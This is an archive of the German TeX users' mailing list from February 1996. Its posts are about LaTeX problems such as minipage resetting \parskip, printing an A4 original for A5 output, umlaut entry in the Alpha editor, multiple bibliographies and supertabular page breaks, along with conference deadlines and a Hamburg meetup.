Kroener JJJJJJJJ KKK KKK | Institut fuer Physikalische und Theoretische Chemie JJJ KKK KKK | Universitaet Regensburg JJJ JJJ KKKKKK | D-93040 Regensburg (germany) !!!!!new zip-code!!!!! JJJ JJJ KKK KKK | JJJJJJ KKK KKK | ++49 941 - 943 4731 or ++49 941 - 943 4734 JJ KKK KKK | Email : Juergen.Kroener@chemie.uni-regensburg.de =============================================================================== From owner-tex-d-l@VM.GMD.DE Mon Feb 19 20:19:35 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stephan Roch Date: Mon, 19 Feb 1996 20:00:41 +0100 Subject: Minipage und \parskip Hallo TeXperten ! Beim Arbeiten mit einer selbstdefinierten Umgebung, die eine Minipage enth"alt, ist mir folgendes aufgefallen: Obwohl ich im Vorspann \setlength{\parskip}{2ex plus0.5ex minus0.2ex} \setlength{\parindent}{0pt} gesetzt habe, erzeugen innerhalb meiner Umgebung (also innerhalb der Minipage) Leerzeilen zwar einen Absatz, der ist aber nicht mehr durch \parskip getrennt, sondern folgt unmittelbar auf der n"achsten Zeile. Eigenartigerweise ist aber \parindent immer noch auf Null gesetzt, die erste Zeile eines Absatzes wird also nicht einger"uckt. Setze ich nun innerhalb meiner Umgebung \parskip wieder auf die oben genannten Werte, dann erscheint das gew"unschte Ergebnis. Nun meine Frage: Wieso bleibt der Wert von \parindent gesetzt, w"ahrend \parskip scheinbar zur"uckgesetzt wird ? Hat schon mal jemand sowas beobachtet, oder ist das sogar so gewollt und logisch ? Nur zur Info: Ich benutze LaTeX2e (neuster Release) und die scrbook-Class des Koma-Script-Paket unter emTeX. Schon mal Danke sagt Stephan Roch -- Humboldt-Universitaet zu Berlin Fachbereich Informatik WWW: http://www.informatik.hu-berlin.de/~roch EMAIL: roch@informatik.hu-berlin.de From owner-tex-d-l@VM.GMD.DE Mon Feb 19 22:10:40 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Patricia Jung Date: Mon, 19 Feb 1996 21:57:03 +0100 Subject: neues ntex-release Hallo allerseits, bin des letztens ein bisschen auf ftp.dante.de spazierengegangen und hab dabei das neue ntex vom 4. februar entdeckt. Koennte man ja mal ein bisschen updaten bei sich zu Hause auf der Linux-Kiste (da ist die Suse 8/95, also slakware drauf, Kernel ohne ELF-Unterstuetzung). Was sich als Fehleinschaetzung herausstellte, weil das ntex-setup partout nach einer Datei ld.so.5 (oder so aehnlich) suchte, die es nicht finden kann, weils die auf meiner Kiste nich gibt. Meine Frage is also eigentlich ne Linux-Frage (und somit vielleicht falsch hier) - naemlich: Gibts die Datei vielleicht extra (resp. nutzt es was, sich die Datei zu besorgen und irgendwo hinzutun, wo das setup sie findet)? Oder kompiliert nochmal jemand den Kram im a.out-Format durch? Resp.: wie habt Ihr das Problem geloest, falls Ihr es schon hattet? ... & Gruesse! Patricia -- ______________________________________________________________________________ Patricia Jung merrykju@IRC e-mail: pjung@ruf.uni-freiburg.de http://rummelplatz.uni-mannheim.de/~pjung/ ______________Anwenderberatung RZ: Tel. 0761/203-4620_________________________ From owner-tex-d-l@VM.GMD.DE Mon Feb 19 23:58:51 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann Date: Mon, 19 Feb 1996 23:57:57 +0100 Subject: Re: neues ntex-release On Mon, 19 Feb 1996, Patricia Jung wrote: > Hallo allerseits, > > bin des letztens ein bisschen auf ftp.dante.de spazierengegangen und hab > dabei das neue ntex vom 4. februar entdeckt. Koennte man ja mal ein > bisschen updaten bei sich zu Hause auf der Linux-Kiste (da ist die Suse > 8/95, also slakware drauf, Kernel ohne ELF-Unterstuetzung). Was sich als ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > Fehleinschaetzung herausstellte, weil das ntex-setup partout nach einer > Datei ld.so.5 (oder so aehnlich) suchte, die es nicht finden kann, weils > die auf meiner Kiste nich gibt. In der README.NTeX steht's deutlich drin: NTeX ist fuer das ELF-Executable-Format compiliert. "/lib/ld.so" ist der dynamische Linker. > > Meine Frage is also eigentlich ne Linux-Frage (und somit vielleicht > falsch hier) - naemlich: Gibts die Datei vielleicht extra (resp. nutzt es > was, sich die Datei zu besorgen und irgendwo hinzutun, wo das setup sie > findet)? Oder kompiliert nochmal jemand den Kram im a.out-Format durch? > Resp.: wie habt Ihr das Problem geloest, falls Ihr es schon hattet? Besser, entweder 1) auf LinuX-ELF (z.B. Slackware 3.0) umsteigen oder/und 2) teTeX nehmen; das gibt's auch im a.out-Format. Ich habe keine Zeit mir NTeX noch einmal anzusehen, aber teTeX ist kompakt (3 Disks und 1 fuer Updates) und sehr schoen zu installieren. Gruesse aus Muenchen Matthias -- Matthias Eckermann, cand.phil., Munich/Germany | errare (email) M.Eckermann@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/u/ud311aa/html/ | est From owner-tex-d-l@VM.GMD.DE Tue Feb 20 09:01:30 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Tue, 20 Feb 1996 09:00:32 +0100 Subject: Re: size14: Genau das brauch ich ? Gerold Picker schrieb : : At 17:10 19.02.1996 +0100, you wrote: Das schrieb nicht `you', sondern Andreas Tille: : >Bernd Raichle schreibt: : >> Fuer einen groesseren Antrag (500 Seiten) habe ich einfach eine : >> Anpassung der Seite auf DIN A5 und dvips' und : >> PostScript verwendet habe und b) alle Fonts als skalierbare PS-Fonts : >> vorlagen (die CM-Schriften gibt's als PS-Fonts unter den Namen BaKoMa : >> und Paradissa). : >Wieso 11pt * 1.414 = 14pt ergeben soll ist mir auch nicht klar. : >Aber vielleicht wollte Bernd nur andeuten, da"s das Endprodukt mit 10pt : >etwas schwer lesbar ist. Dem stimme ich auch prinzipiell zu, aber in dem : >speziellen Fall w"are es akzeptabel. Ich hatte 11pt-Schriften im Resultat verwendet, um den Antrag lesbar zu halten (tja, die meisten Gutachter sind halt auch schon etwas im fortgeschrittenen Alter und da lassen die Augen bekanntlich etwas nach). Ausserdem ergeben im vergroesserten Dokument die 14pt bei einer Verkleinerung von A4 auf A5 um 1.414 dann gerade so 10pt (genauer: etwas weniger als 10pt), die bei einer schlechten Reproduktion und entsprechender Schrift dann beim Lesen schnell ermueden koennen -- der Grund dafuer duerfte wohl klar sein. [...] : Hallo Andreas, : : ich habe genau das gleiche Problem wie Bernd Raichle. Das war nicht mein Problem, sondern ich habe eine Antwort auf solch ein Problem gegeben. : F"ur meine Diss soll : die Druckvorlage A4 sein, waehrend das Ergebnis auf A5 gedruckt wird. Ich wuerde immer noch den Weg gehen, die Vorlage in DIN A5 zu erstellen, da man dadurch alles in den endgueltigen Abmessungen angeben kann und nicht immer umrechnen muss. Fuer die Druckvorlage kann man dann mit \mag=1414 das Resultat um 1.141 auf DIN A4 vergroessert ausdrucken (wenn man die CM-Schriften verwendet, geht dies am einfachsten mit PostScript und den PS-Type-1-CM-Schriften). Und wenn man direkt auf einen Belichter gehen will, kann die A5-Vorlage in PS auch unvergroessert (und auch unverkleinert) dazu verwenden. -bernd From owner-tex-d-l@VM.GMD.DE Tue Feb 20 09:31:46 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Tue, 20 Feb 1996 09:27:26 MEZ Subject: Re: size14: Genau das brauch ich ? Bernd Raichle schreibt: > Ich hatte 11pt-Schriften im Resultat verwendet, um den Antrag lesbar > zu halten (tja, die meisten Gutachter sind halt auch schon etwas im > fortgeschrittenen Alter und da lassen die Augen bekanntlich etwas > nach). Ausserdem ergeben im vergroesserten Dokument die 14pt bei > einer Verkleinerung von A4 auf A5 um 1.414 dann gerade so 10pt > (genauer: etwas weniger als 10pt), die bei einer schlechten > Reproduktion und entsprechender Schrift dann beim Lesen schnell > ermueden koennen -- der Grund dafuer duerfte wohl klar sein. ... klar. Ich war nur etwas unruhig gewesen, ob ich die ganze pt-Geschichte etwa ganz falsch verstanden h"atte. > Das war nicht mein Problem, sondern ich habe eine Antwort auf solch > ein Problem gegeben. Ich habe es noch nie in dieser Liste erlebt, da"s Bernd Raichle ein Problem gehabt h"atte ;-) > Ich wuerde immer noch den Weg gehen, die Vorlage in DIN A5 zu > erstellen, da man dadurch alles in den endgueltigen Abmessungen > angeben kann und nicht immer umrechnen muss. > Fuer die Druckvorlage kann man dann mit \mag=1414 das Resultat um > 1.141 auf DIN A4 vergroessert ausdrucken (wenn man die CM-Schriften > verwendet, geht dies am einfachsten mit PostScript und den > PS-Type-1-CM-Schriften). Und wenn man direkt auf einen Belichter > gehen will, kann die A5-Vorlage in PS auch unvergroessert (und auch > unverkleinert) dazu verwenden. Ich m"ochte hier noch einmal betonen, da"s ich diese L"osung auf jeden Fall f"ur besser halte und gegebenenfalls auch diesen Weg gehen werde. Mein "Versuch" ein size14.clo zu erzeugen war lediglich aus akademischem Interesse. Deshalb werde ich es auch nicht allgemein verf"ugbar machen, weil ich bef"urchte, irgendwann mal von ver"argerten Nutzern physischem oder psychischem Terror ausgesetzt zu sein, weil ich der Verursacher ihrer "au"serst h"a"slichen Druckwerke bin ;-). Deshalb schrieb ich auch: > Diese habe ich dann > *nach Gef"uhl* (also nicht unter typographischen Gesichtspunkten, was > die ganze Sache schon fragw"urdig macht) auf size14.clo "transformiert". > Dann mu"s man noch in report.cls (nat"urlich eine Kopie mit anderem > Namen!!!) eine Zeile hinzuf"ugen. Da"s ganze ist wohl tauglich, um sich > mal einen groben "Uberblick zu verschaffen. ... und meine pers"onlichen "Gef"uhle" geh"oren nicht ins Internet ;-) Gerold Picker schreibt: > oder kannst Du mir eine Kopie schicken ? Klar. > Das wuerde mir sehr helfen ! Wenn Du denkst. (Bitte gedulde Dich bis morgen, weil ich's gerade nicht griffbereit habe.) Tsch"u"s Andreas. From owner-tex-d-l@VM.GMD.DE Tue Feb 20 19:56:45 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Tue, 20 Feb 1996 19:46:26 +0100 Subject: revised dealines for TUG'96 nochmal zur information. diesmal direkt nach der ankunft... mit freundlichen gruessen luzia dietsche ------- start of forwarded message (RFC 934 encapsulation) ------- Date: Tue, 20 Feb 1996 17:16:38 +0100 From: Michel Goossens Subject: revised dealines for TUG'96 ============================ REVISED DEADLINES for TUG'96 ============================ Submission of abstracts March 11 << new date Acceptance signified to authors March 20 << new date Preliminary articles April 12 << new date Proposals for workshops, demos, and poster sessions April 20 Registration and transfer of a non-refundable sum of $100 per person to a Dubna bank May 31 Visa supporting information June 5 Revised articles June 10 << firm date Start of Conference July 28 ====================================================================== Please send your proposals for contributions to the TUG'96 Organizing Committee at their email address TUG96@pds.jinr.ru. The date of June 10th is a "firm date", since we want to have all articles in a final form ready to be printed by the time of the Conference, and therefore need them to go to the printer by late June. As a consequence final papers not received by June 10 will not appear in the Proceedings Issue of TUGboat. The most up-to-date information about TUG'96 will be available at the URL: http://www.scri.fsu.edu/~mimi/tug96/tug96.html or, by ftp from the CTAN archives in tex-archive/usergrps/tug/tug96/news-mon.asc The TUG'96 Organizing Committee ------- end ------- From owner-tex-d-l@VM.GMD.DE Wed Feb 21 04:43:20 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Schneider Date: Tue, 20 Feb 1996 22:05:00 +0200 Subject: Re: size14 und Verlage gesucht Kommentar zu A50997@H in der Gruppe TeX-D-L hallo Andreas, ATE>Diese habe ich dann *nach Gef"uhl* (also nicht unter typographischen ATE>Gesichtspunkten, was die ganze Sache schon fragw"urdig macht) auf ATE>size14.clo "transformiert". und genau das d"urfte der Knackpunkt sein!! Denn sonst, davon bin ich "uberzeugt, g"abe es sicher schon f"ur alle g"angigen Punktgr"o"sen die passende Dokumentenklasse... Und TTsch"o ps From owner-tex-d-l@VM.GMD.DE Tue Feb 20 21:50:35 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Tue, 20 Feb 1996 21:51:36 +0100 Subject: Re: alphabetisches math Es gibt zwei Stile namens subeqn.sty (Vorsicht, verschiedene Benutzerinterfaces!). George Greenwade hat ihnen Nummern 1 und 2 gegeben. Autor subeqn1.sty S. Gildea subeqn2.sty E. M. S. Harris Beide sollten sich irgendwo auf CTAN finden lassen. --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Wed Feb 21 01:12:43 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stefan Hassenstein Date: Wed, 21 Feb 1996 01:12:00 MET Subject: Mac - bzw. Alpha benutzer an Bord ? Vereinte TeX-Schar ! Liest hier vielleicht auch ein Mac und Alpha benutzer mit ? Ja ? Wie bekomm ich im Alpha-Editor ein TCL-Makro fuer die Umlaute rein ? Also, ich moechte die =FC(ue)-Taste druecken, und Alpha soll bitte schoen so etwas wie "u machen. Bitte jetzt keine RTFM Zuschriften. Ich hab zwar einige von den TCL-Listings gelesen, trau mir aber nicht zu, daraus was brauchbares zu basteln. Jedoch wuerde mir ein Beispiel genuegen, den Rest (die anderen Zeichen) muesst ich dann wohl hinbekommen. Vielen Dank im Vorraus. Stefan ------ Stefan Hassenstein Karlsruhe, Germany -- e-mail: Stefan.Hassenstein@inka.de - PGP available - From owner-tex-d-l@VM.GMD.DE Wed Feb 21 10:50:24 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Wed, 21 Feb 1996 10:46:11 MEZ Subject: Re: size14 und Verlage gesucht > ATE>Diese habe ich dann *nach Gef"uhl* (also nicht unter typographischen > ATE>Gesichtspunkten, was die ganze Sache schon fragw"urdig macht) auf > ATE>size14.clo "transformiert". > und genau das d"urfte der Knackpunkt sein!! > > Denn sonst, davon bin ich "uberzeugt, g"abe es sicher schon f"ur alle g"angigen > Punktgr"o"sen die passende Dokumentenklasse... Ich bin nicht davon "uberzeugt, da"s die Tatsache, da"s es etwas noch nicht gibt schon daf"ur spricht, da"s es unm"oglich ist es zu erzeugen. Meiner Meinung nach sollte es f"ur einen Menschen mit typographischen Kenntnissen (also nicht f"ur mich) kein Problem sein, die verschiedenen Punktgr"o"sen ordentlich zu implementieren. Ich denke, da"s es dazu einfach keine Veranlassung gab, weil es ja die schon mehrfach zitierte M"oglichkeit, die Bernd Raichle beschrieb, gibt. Doofes Beispiel: Die Tatsache, da"s es keinen Regenschirm mit integriertem Funktelefon gibt, beweist nicht, da"s es unm"oglich w"are soetwas herzustellen, obwohl es sicher Menschen gibt (zu denen ich allerdings auch wieder nicht geh"ore), die auch mal im Regen stehend telefonieren m"ochten und noch eine Hand f"ur die Aktentasche frei halten m"ochten. Tsch"u"s Andreas. PS: Funktelefonnummer: keine From owner-tex-d-l@VM.GMD.DE Wed Feb 21 12:41:17 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rene Schaetzl Date: Wed, 21 Feb 1996 12:32:32 +0100 Subject: Re: Mac - bzw. Alpha benutzer an Bord ? Moin Moin, also das Problem mit den Umlauten l"a"st sich am Besten l"osen, indem Du das inputenc-packet benutzt. Das Packet geh"ort seit 1.12.94 zur LaTeX2e Basis installation. Wird das Packet eingebunden mit \usepackage[applemac]{inputenc}, so kann man die normalen Umlaute (in dem Fall die vom Mac) im Text eingeben. Falls Dir das nicht gefallen sollte hat es auf ftp.dante.de im Verzeichnis /pub/tex/systems/mac/support/alpha/contrib das Tcl-File 'germanUmlaute.tcl', das die Umlaute automatisch in TeX-Notation Uebersetzt. Ciao Rene Schaetzl -- ---------------------------------------------------------------------------------- ___________________ * _-_ Rene Schaetzl \==============_=_/ ____.---'---`---.____ * \_ \ \----._________.----/ * \ \ / / `-_-' * E-Mail: * __,--`.`-'..'-_ r_schaet@informatik.uni-kl.de /____ || * `--.____,-' ...to boldly go where no man has gone before ! From owner-tex-d-l@VM.GMD.DE Thu Feb 22 17:42:34 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stephan Roch Date: Thu, 22 Feb 1996 17:32:00 +0100 Subject: Minipage und \parskip Hallo TeXperten ! Beim Arbeiten mit einer selbstdefinierten Umgebung, die eine Minipage enth"alt, ist mir folgendes aufgefallen: Obwohl ich im Vorspann \setlength{\parskip}{2ex plus0.5ex minus0.2ex} \setlength{\parindent}{0pt} gesetzt habe, erzeugen innerhalb meiner Umgebung (also innerhalb der Minipage) Leerzeilen zwar einen Absatz, der ist aber nicht mehr durch \parskip getrennt, sondern folgt unmittelbar auf der n"achsten Zeile. Eigenartigerweise ist aber \parindent immer noch auf Null gesetzt, die erste Zeile eines Absatzes wird also nicht einger"uckt. Setze ich nun innerhalb meiner Umgebung \parskip wieder auf die oben genannten Werte, dann erscheint das gew"unschte Ergebnis. Nun meine Frage: Wieso bleibt der Wert von \parindent gesetzt, w"ahrend \parskip scheinbar zur"uckgesetzt wird ? Hat schon mal jemand sowas beobachtet, oder ist das sogar so gewollt und logisch ? Nur zur Info: Ich benutze LaTeX2e (neuster Release) und die scrbook-Class des Koma-Script-Paket unter emTeX. Schon mal Danke Stephan Roch Humboldt-Universitaet zu Berlin Fachbereich Informatik From owner-tex-d-l@VM.GMD.DE Fri Feb 23 04:55:45 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jeff Allen Date: Thu, 22 Feb 1996 21:54:44 CST Subject: jobs How can I post a job announcement for German on this list? Is it possible to send it to the listowner and have that person put in on the list? Thank you. Jeff Allen jeallen@heartland.bradley.edu or uscatrhl@ibmmail.com From owner-tex-d-l@VM.GMD.DE Fri Feb 23 08:38:49 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Fri, 23 Feb 1996 08:38:02 +0100 Subject: Re: Minipage und \parskip Stephan Roch schreibt: : Beim Arbeiten mit einer selbstdefinierten Umgebung, die eine Minipage : enth"alt, ist mir folgendes aufgefallen: : : Obwohl ich im Vorspann : : \setlength{\parskip}{2ex plus0.5ex minus0.2ex} : \setlength{\parindent}{0pt} : : gesetzt habe, erzeugen innerhalb meiner Umgebung (also innerhalb der : Minipage) Leerzeilen zwar einen Absatz, der ist aber nicht mehr : durch \parskip getrennt, sondern folgt unmittelbar auf der n"achsten : Zeile. Eigenartigerweise ist aber \parindent immer noch auf Null gesetzt, : die erste Zeile eines Absatzes wird also nicht einger"uckt. : Setze ich nun innerhalb meiner Umgebung \parskip wieder auf die oben : genannten Werte, dann erscheint das gew"unschte Ergebnis. : : Nun meine Frage: : Wieso bleibt der Wert von \parindent gesetzt, w"ahrend \parskip scheinbar : zur"uckgesetzt wird ? Hat schon mal jemand sowas beobachtet, oder ist das : sogar so gewollt und logisch ? `minipage' setzt mit Hilfe der internen Anweisung \@parboxrestore einige Parameter auf vordefinierte Werte. In der Doku des LaTeX2e-Files `ltboxes.dtx' steht: % Sets \hsize := WIDTH and calls \@parboxrestore, which does % the following: [...] % Resets the following parameters: % \parindent = 0pt % \parskip = 0pt %% added 20 Jan 87 [...] Will man ein anderes Verhalten, muss man \@parboxrestore entsprechend umdefinieren -- Achtung: \@parboxrestore wird nicht nur bei `minipage' verwendet. Wenn man dies nur fuer `minipage' aendern will, kann man auch nur die interne Anweisung \@minipagerestore entsprechend umdefinieren. -bernd From owner-tex-d-l@VM.GMD.DE Fri Feb 23 17:57:20 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Monika Sester Date: Fri, 23 Feb 1996 17:53:56 +0000 Subject: mehrere literatur-angaben in einem file hi tex-ler, ich habe das problem, dass ich in einem text an mehreren stellen literatur zitieren will. z.b. eine liste mit fremden beitraegen, eine liste mit eigenen beitraegen. meines wissens kann man nur an einer stelle das \bibliography{} setzen, oder ? wie kann ich mein ziel erreichen ? ciao -moni ----------------------------------------------------------- dr. monika sester - institut fuer photogrammetrie - uni-stuttgart monika.sester@ifp.uni-stuttgart.de 0711-121 3384 From owner-tex-d-l@VM.GMD.DE Sun Feb 25 04:43:57 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Schneider Date: Sat, 24 Feb 1996 19:33:00 +0200 Subject: Re: size14 und Verlage gesucht Kommentar zu A55984@H in der Gruppe TeX-D-L Hallo Andreas, ATE>Ich bin nicht davon "uberzeugt, da"s die Tatsache, da"s es etwas noch ATE>nicht gibt schon daf"ur spricht, da"s es unm"oglich ist es zu ATE>erzeugen. Da hast Du natuerlich recht, und ich wollte Dich auch nicht davon abhalten, es zu versuchen. Ich wollte nur vor dem Hintergrund, dass DEK so um die 14 Jahre an TEX gearbeitet und einen hohen Standard verlangt und gesetzt hat, vor handgestrickten Loesungen durch Leute ohne grosse typographische Erfahrung (dazu zaehle ich mich auch) warnen. Wenn es jemand gibt, der eine 14-pt-Klasse in allen Konsequenzen mit derselben Qualitaet wie die bestehenden erstellt und in Umlauf bringt, nur zu! Nichts fuer ungut, wir ziehen am selben Strick in derselben Richtung! peter From owner-tex-d-l@VM.GMD.DE Mon Feb 26 20:07:51 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Volker Huettenrauch Date: Sun, 25 Feb 1996 15:21:00 +0200 Subject: Stammtisch Hamburg Moin TeXniker, der erste TeX-Stammtisch im neuen Jahr in Hamburg findet am Mittwoch 28.2.96 um 18 Uhr im HOPI in der Oberstr. 3 statt. Mit dem OePNV kann man es wie folgt erreichen: Hoheluftbruecke: U3, 35 und 102 Wir hoffen, dass zu diesem Zeitpunkt wieder mehr TeXniker zum Treffen kommen. MfG Volker From owner-tex-d-l@VM.GMD.DE Sun Feb 25 17:53:27 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Henning Matthes Date: Sun, 25 Feb 1996 17:36:08 +0100 Subject: epsfig-pobs moin, gibt's eine M"oglichkeit eine Grafik in eine framebox einzubinden, so da"s sie die Box nicht "uberlappt, also eine lineare Skalierung in x- und y-Richtung gleich. Gru"s Henning ================================================= Henning Matthes FON 04383/9898 ISDN M"uhlenbergring 20 FAX 04383/9897 24329 Grebin eMail:matthes@toppoint.de From owner-tex-d-l@VM.GMD.DE Mon Feb 26 02:12:17 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stephan Roch Date: Mon, 26 Feb 1996 02:10:24 +0100 Subject: Probleme mit eigener Umgebung.... Hallo TeXperten ! Ich habe ein Problem mit einer selbstdefinierten Umgebung. :-( Fuer die Dokumentation eines menuegesteuerten Programms moechte ich erreichen, dass jeder Menuepunkt (mit zugehoergem Shortcut) und die zugehoerige Erklaerung in folgender Form dargestellt wird In einer Box sollen zuerst die Taste und dann der Menuename gesetzt werden, dann mit etwas vertikalem Abstand der eigentliche Text, dabei soll der Text etwas links eingerueckt werden. Es soll sich also folgende Form ergeben: --- vorhergehender Absatz ______________________ | Taste Menuepunkt | ---------------------- Text Text naechster Absatz --- Ich habe nun etwas rumprobiert, aber das Ergebnis ist mehr als schlecht..... - sieht man ja schon an den Kommentaren :-) Auszug aus meinem .sty-File keine Angst, der Rest sieht besser aus ;-) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% Kommandoerklaerung %% command{taste}{com} %% taste + com in Box, Erl"auterung abgesetzt %% hier habe ich etwas gehackt, mir ist leider nichts besseres eingefallen %% deshalb Vorsicht mit der Konstruktion, freie Zeilen muessen bleiben %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% \newenvironment{command}[2]% {%freie Zeile wichtig !! \vspace{2ex plus2ex minus 0.5ex}% \fbox{% \typewr% #1\hspace{1cm}#2% }% \nopagebreak% \hspace*{22.7pt}\begin{minipage}[t]{385.59709pt} \setlength{\parskip}{2ex plus0.5ex minus0.2ex}% }% {% \end{minipage}%freie Zeile wichtig !! }% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Meine Probleme: 1. Die Abstaende zu den umgebenden Paragraphen stimmen nicht 2. Folgen zwei Command-Umgebungen, sieht es auch nicht so toll aus. 3. schlimmstes Problem: Der Abstand zwischen der Fbox und der Minipage stimmt nicht. Sobald ich nach \begin{command}{}{Menue} irgendeinen Befehl setze, sind es zwei Zeilen, sonst nur eine. Weiss hier jemand Rat ? Ich habe schon etwas mit der list-Umgebung rumgespielt, aber da bin ich auch nicht zu dem gewuenschten Ergebnis gekommen. :-( Fuer Hilfe waere ich sehr dankbar, es eilt ein wenig, ich muss Teile der Doku schnellstmoeglich zum einreichen fertigstellen...... Wer will, kann sich die Katastrophe ja mal unter http://www.informatik.hu-berlin.de/~roch/manual.dvi anschauen (dort ab Seite 10) ...... viel Spass..... Danke sagt Stephan ------------------------------------------------------------------------------ Humboldt Universitaet zu Berlin Institut fuer Informatik Email: roch@informatik.hu-berlin.de WWW : http://www.informatik.hu-berlin.de/~roch ------------------------------------------------------------------------------ From owner-tex-d-l@VM.GMD.DE Mon Feb 26 09:05:59 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 26 Feb 1996 09:04:48 +0100 Subject: Re: mehrere literatur-angaben in einem file Monika Sester schrieb: : ich habe das problem, dass ich in einem text an mehreren stellen literatur : zitieren will. : z.b. eine liste mit fremden beitraegen, eine liste mit eigenen beitraegen. : : meines wissens kann man nur an einer stelle das \bibliography{} setzen, oder ? : : wie kann ich mein ziel erreichen ? Im "Bernhardiner" schmoekern und erstaunt feststellen, dass es schon ein `chapterbib' oder `bibunits' gibt. Ersteres habe ich schon ein paarmal erfolgreich verwendet, letzteres einmal ausprobiert, aber dessen Maechtigkeit (bisher noch) nicht benoetigt. Bernhardiner: Goossens et al., Der LaTeX-Begleiter, Addison-Wesley chapterbib: CTAN: macros/latex/contrib/supported/cite/ (am besten alle .sty-Files in diesem Directory installieren!) bibunits: CTAN: macros/latex209/contrib/misc/bibunits.sty Gruesse, -bernd From owner-tex-d-l@VM.GMD.DE Mon Feb 26 11:36:06 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Wojczynski Date: Mon, 26 Feb 1996 11:35:25 +0100 Subject: Re: New service to Academics... -- #===========================================================================# # Andreas Wojczynski / Gruppe Anwendungen tel +49/531/391-5540 # # Rechenzentrum der TU Braunschweig fax +49/531/391-5549 # # Deutschland / Germany email a.wojczynski@tu-bs.de # #===========================================================================# From owner-tex-d-l@VM.GMD.DE Thu Feb 29 05:15:09 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Markus Mergard Date: Mon, 26 Feb 1996 20:02:00 +0200 Subject: New service to Academics... Kommentar zu A12348@H in der Gruppe TeX-D-L Dear Dr. Soren! S>I have decided to open a Bulk email service What is a Bulk email service? S>I also would like to talk to anyone who is interested in becoming an S>AMWAY distributor. What is an AMWAY distributor? S>Many of the students have already signed up as part of my down line! What is a down line? Please excuse my probably silly questions, but I am not familiar with the US-american (as I presume you to be from the US) university system. Thus I can not at the moment tell you whether or not I would like to make use of your offer. Regards, M. Mergard From owner-tex-d-l@VM.GMD.DE Wed Feb 28 14:20:00 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Seitz Date: Wed, 28 Feb 1996 14:05:06 +0100 Subject: Seitenumbruch in Supertabular Umgebung mit LaTeX Hallo TeX- Gurus, ich verwende die Supertabular-Umgebung und moechte es dabei erzwingen, dass ein manueller Seitenwechsel in der Tabelle stattfindet. Ich habe bis jetzt noch nicht rausfinden koennen, wie man das am geschicktesten anstellt. Vielleicht kann mir Jemand da ein paar hilfreiche Tips geben. Meine ersten Ueberlegungen waren es, den Zaehler mit dem noch vorhandenen Platz auf der Seite so zu erhoehen, dass subertabular selber einen Seitenumbruch durchfuehrt, doch das ist leider fehlgeschlagen. Ich brauch uebrigens den manuellen Seitenumbruch deshalb, weil meine Tabellenzeilen nicht immer nur aus einer Zeile bestehen. Deshalb wird die Tabelle oft zu lange, da ja die Supertabular Umgebung erst bei einem Zeilenumbruch (\\) ueberprueft, ob noch genug Platz fuer eine weitere Zeile vorhanden ist... Danke fuehr sachdienliche Hinweise. With best compliments Peter Seitz (Faculty for civil engineering) -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Verkehrswesenzeichensaal (VZS) The better drawing site :-) University of Technology Graz e-mail: Technikerstrasse 4/II seitz@bzs.tu-graz.ac.at (Internet) A-8010 Graz, 